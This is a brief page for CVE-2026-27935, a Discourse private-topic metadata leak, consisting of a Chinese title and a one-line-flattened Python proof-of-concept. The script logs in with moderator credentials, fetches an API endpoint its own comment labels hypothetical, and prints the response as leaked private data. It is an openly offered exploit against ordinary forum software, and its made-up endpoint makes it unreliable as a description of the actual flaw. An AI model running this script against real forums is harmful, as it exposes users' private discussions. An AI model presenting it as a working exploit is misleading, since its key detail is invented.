CVE-2026-27935 Discourse 私有主题元数据泄露漏洞

import requests # Configuration target = "https://example.com" api_endpoint = "/t/private_topics.json" # Hypothetical endpoint username = "moderator_user" password = "password" def exploit(): # 1. Authenticate as a moderator session = requests.Session() login_payload = {"login": username, "password": password} session.post(f"{target}/session", json=login_payload) # 2. Request vulnerable API endpoint response = session.get(f"{target}{api_endpoint}") if response.status_code == 200: data = response.json() print("[+] Vulnerability Confirmed: Private metadata leaked") print(f"[+] Data: {data}") else: print("[-] Failed to retrieve data") if __name__ == "__main__": exploit()